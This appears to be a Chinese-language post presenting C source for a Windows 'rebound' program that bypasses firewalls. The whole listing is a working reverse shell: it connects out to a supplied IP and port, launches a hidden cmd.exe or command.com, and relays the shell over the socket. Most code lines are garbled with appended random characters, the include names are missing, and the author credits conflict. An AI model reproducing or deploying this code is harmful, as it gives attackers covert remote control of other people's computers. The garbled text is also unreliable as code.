这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #&Ee5xM=
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/* ============================== I%Awj(9BS
Rebound port in Windows NT g9XtE
By wind,2006/7 F)@<ZE
===============================*/ 9V&LJhDQ
#include UO wNcY
#include EkX6> mo
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#pragma comment(lib,"wsock32.lib") NSq"\A\
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void OutputShell(); PG!vn@b6
SOCKET sClient; ;W].j%]Le
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !xI![N^
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void main(int argc,char **argv) 93\,m+-
{ 5*AKl< Jl
WSADATA stWsaData; ?KN_J
int nRet; f/yK|[g~
SOCKADDR_IN stSaiClient,stSaiServer; gUp0RPs
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if(argc != 3) K="+2]{I
{ 5 %Gf?LyO
printf("Useage:\n\rRebound DestIP DestPort\n"); pB./L&h
return; fW
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} EMG*8HRI>r
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WSAStartup(MAKEWORD(2,2),&stWsaData); \Hd B
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @Hh"Y1B
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); "+&<Q d2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K}BX6dA
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1tdCzbEn+
{ @{uc
printf("Bind Socket Failed!\n"); Oe`t!&v
return; $Stu-l1e a
} L ]c9
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stSaiServer.sin_family = AF_INET; Vm.@qO*=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?miM15XI
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ".f:R9-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |T *qAJ8c
{ S!_?# ^t
printf("Connect Error!"); CN(4;-so)
return; sdQv:nd'R
} M7,MxwZ0k
OutputShell(); 0h4}RmS
} -QDgr`%5
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void OutputShell() PDng!IQ^
{ R"`{E,yj
char szBuff[1024]; <t% A)L%
SECURITY_ATTRIBUTES stSecurityAttributes; _`>7
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OSVERSIONINFO stOsversionInfo; 0z7mre^Q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ecpUp39\
STARTUPINFO stStartupInfo; C)s1'
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char *szShell; X388Gs;e
PROCESS_INFORMATION stProcessInformation; pVS2dwBqE
unsigned long lBytesRead; j9'XZq}
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u7Y< ~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); PRC)GP&q
stSecurityAttributes.lpSecurityDescriptor = 0; 3Lki7QW`
stSecurityAttributes.bInheritHandle = TRUE; Gj`Y2X2r
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E:=KH\2f
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x9A
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7u5\#|yL
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |!5T+H{Sj
stStartupInfo.wShowWindow = SW_HIDE; ^@L
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stStartupInfo.hStdInput = hReadPipe; Ja=70ZI^6
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kah3Uhr~
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GetVersionEx(&stOsversionInfo); -u9yR"n\}
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switch(stOsversionInfo.dwPlatformId) ivz?-X4]
{ K6*UFO4}i
case 1: ]!G>8Rc
szShell = "command.com"; 'ag6B(0Z
break; :#:O(K1PW
default: ^iRwwN=d
szShell = "cmd.exe"; 3hf;4Mb
break; ,9tbu!Pvq
} aU<D$I
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j /dE6d
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send(sClient,szMsg,77,0); uj9tr`Zh
while(1) n vpPmc
{ u4,X.3V]A
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D7WI(j\
if(lBytesRead) {&}/p-S
{ +>:_kE]?nX
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JlDDM
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send(sClient,szBuff,lBytesRead,0); t#pqXY/;D
} %f_OP$;fc
else ~? FrI
{ g[wP!y%V
lBytesRead=recv(sClient,szBuff,1024,0); PMN2VzE4{
if(lBytesRead<=0) break; RnA&-\|*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <m/b]|
} ;Ma/b= Y
} '
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return; 3aE[F f[
}